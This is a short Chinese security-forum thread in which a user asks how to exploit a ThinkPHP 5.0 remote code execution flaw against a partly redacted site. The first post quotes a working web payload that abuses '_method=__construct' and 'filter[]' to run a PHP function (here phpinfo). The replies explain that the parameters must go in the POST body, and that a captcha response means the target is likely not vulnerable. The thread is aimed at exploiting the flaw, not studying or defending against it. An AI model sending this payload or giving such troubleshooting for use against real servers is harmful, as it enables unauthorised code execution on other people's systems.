T00ls » 八卦水区(Discussion )

求助thinkphp5.0的问题

pingfan1016 2020-12-09 23:46 118 3

pingfan1016新手上路 T00ls活跃度1级

T00ls活跃度1级

#1

？s=captcha&test=123_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

有大佬可以解释一下这个的意思么？
是http://xxxx.cn/index.php?s=captcha&test=123_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
访问回显得到的是一个验证码。然后我想问的是这是一个任意代码执行，然后如何利用呢？

倒着看人生注册会员

T00ls活跃度2级

2020-12-10

#2

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
是post的数据

鲁人甲007版主

T00ls活跃度5级

2020-12-10

#3

人家exp里提到的data指的是post过去的。。。

HTTP 404或Not Found

havytools注册会员 T00ls活跃度5级

T00ls活跃度5级

2020-12-14

#4

post过去，如果还是验证码那就可能是漏洞不存在或者出错